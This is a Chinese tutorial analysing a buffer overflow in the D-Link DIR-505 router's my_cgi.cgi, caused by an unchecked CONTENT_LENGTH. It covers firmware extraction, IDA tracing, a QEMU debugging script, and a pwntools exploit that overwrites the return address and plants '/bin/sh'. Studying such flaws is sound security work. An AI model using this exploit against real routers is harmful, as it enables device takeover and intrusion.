D-Link DIR-505便携路由器越界漏洞分析
字数 982 2025-08-22 12:23:00
D-Link DIR-505便携路由器越界漏洞分析教学文档
一、文件系统提取方法
1. 使用dd命令提取固件
dd if=DIR505A1_FW108B10.bin skip=1048660 bs=1 of=dir505.sfs
if: 输入文件of: 输出文件bs: 块大小设置为1字节skip: 跳过固件二进制映像中特定地址的指针
2. 尝试解压Squashfs文件系统
提取后得到dir505.sfs文件,使用unsquashfs工具解压:
unsquashfs dir505.sfs
解压失败原因:文件内容结尾填充了其他数据,导致解压失败。
二、漏洞分析流程
1. 查找溢出参数
- 通过逆向分析寻找可能导致溢出的输入参数
2. 交叉引用分析
- 使用IDA的交叉引用功能(Xref)找到引用关键字符串的函数
- 重点关注
get_input_entries函数
3. 图形化分析函数流程
- 切换到IDA的graph overview模式
- 分析
get_input_entries函数的整体控制流
4. 参数来源追踪
关键点:
- 参数来源可能在本函数内,也可能来自传入参数
- 需要回溯函数调用链追踪参数源头
- 查看引用
get_input_entries函数的上级函数
5. 漏洞点分析
发现关键问题:
- 循环次数未做限制,导致可利用的溢出点
- 跟踪过程:
get_input_entries(s0, s2) s0 -> sp-0x74920[477450] s2 -> v0=strtol(v0,0,10) v0 -> getenv("CONTENT_LENGTH")返回值 s2 -> strtol(getenv("CONTENT_LENGTH"),0,10)
三、动态调试验证
1. 调试脚本
#!/bin/bash
# 待执行命令
INPUT=`python -c "print 'storage_path='+'B'*477472+'A'*4"`
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口
# 用法检查
if [ "$LEN" == "0" -o "$INPUT" == "-h" -o "$UID" != "0" ]; then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
# 设置调试环境
cp $(which qemu-mips-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="multipart/formdata" \
-E SCRIPT_NAME="common" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="/my_cgi.cgi" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT /usr/bin/my_cgi.cgi
echo 'run ok'
rm -f ./qemu
注意:CONTENT_TYPE="multipart/formdata"中少了横线"-",这是为了能正确在get_input_entries函数中断下。
2. 调试设置
- 在
get_input_entries函数设置断点 - 验证确实控制了返回地址(RA)的值
四、漏洞利用开发
1. ROP链构造
from pwn import *
context.endian="big"
context.arch="mips"
payload = "storage_path="
payload += "a" * 0x7490a
payload += "b" * 0x16
payload += p32(0x00404EA0) # 覆盖返回地址
payload += "c" * 0x8C
payload += "/bin/sh\x00" # 放置"/bin/sh"字符串
with open("payload",'wb') as f:
f.write(payload)
f.close()
五、关键分析技巧总结
- 逆向分析基础:必须掌握如何根据汇编代码回溯数据来源
- 输入点定位:找到漏洞输入点是分析工作的核心
- 参数追踪:需要耐心跟踪参数传递链,包括:
- 函数内部变量
- 传入参数
- 环境变量(如CONTENT_LENGTH)
- 动态验证:静态分析后必须通过动态调试确认漏洞
- 利用开发:注意MIPS架构的特殊性(大端序)和路由器环境的限制
六、补充说明
- 环境变量控制:通过qemu的-E参数设置环境变量模拟HTTP请求
- 调试技巧:
- 使用chroot创建隔离环境
- 需要root权限运行调试脚本
- 注意qemu必须使用static版本
- 漏洞本质:未对CONTENT_LENGTH进行有效验证导致缓冲区溢出